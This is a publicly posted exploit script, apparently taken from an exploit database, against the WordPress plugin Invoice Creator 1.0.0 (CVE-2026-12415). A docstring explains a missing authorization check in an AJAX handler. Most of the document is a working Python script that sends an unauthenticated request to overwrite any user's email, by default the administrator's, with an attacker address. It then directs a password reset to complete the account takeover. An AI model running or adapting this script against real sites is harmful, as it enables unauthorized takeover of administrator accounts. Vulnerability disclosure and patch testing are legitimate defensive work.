Share
## https://sploitus.com/exploit?id=PACKETSTORM:226458
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Invoice Creator <= 1.0.0 - Unauthenticated Account Takeover (Arbitrary User Email Change)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/invoice-creator/
    # Software Link: https://downloads.wordpress.org/plugin/invoice-creator.1.0.0.zip
    # Version: 1.0.0 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-12415
    r"""
    Invoice Creator <= 1.0.0 registers the nopriv AJAX action pravel_invoice_edit_account
    (lib/user-manage-function.php:203) with NO nonce, capability, or ownership check. The handler reads
    $_POST['user_id'] (:184) and calls wp_update_user(['ID'=>$user_id,'user_email'=>$_POST['user_email']])
    (:189-193) โ€” so an unauthenticated attacker changes ANY user's email (e.g. the administrator id=1) to
    an address they control, then triggers WordPress's "lost password" to receive the reset link ->
    full account takeover.
    
    Prior state: plugin active (targets admin id=1).
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user-id", default="1")
        ap.add_argument("--attacker-email", default="attacker@evil.tld")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        d = {"action": "pravel_invoice_edit_account", "user_id": args.user_id,
             "user_email": args.attacker_email, "user_first_name": "x", "user_last_name": "x",
             "user_mobile_number": "1"}
        r = requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=20)
        print(f"[*] Target: {base} | set user {args.user_id} email -> {args.attacker_email}")
        print(f"[*] edit_account -> HTTP {r.status_code} :: {r.text[:100]}")
        if '"edit":true' in r.text or "success" in r.text.lower():
            print(f"\n[+] ACCOUNT TAKEOVER PRIMITIVE CONFIRMED โ€” unauthenticated request changed user "
                  f"{args.user_id}'s email to the attacker address. Trigger 'lost password' for that "
                  f"account to receive the reset link and complete takeover.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())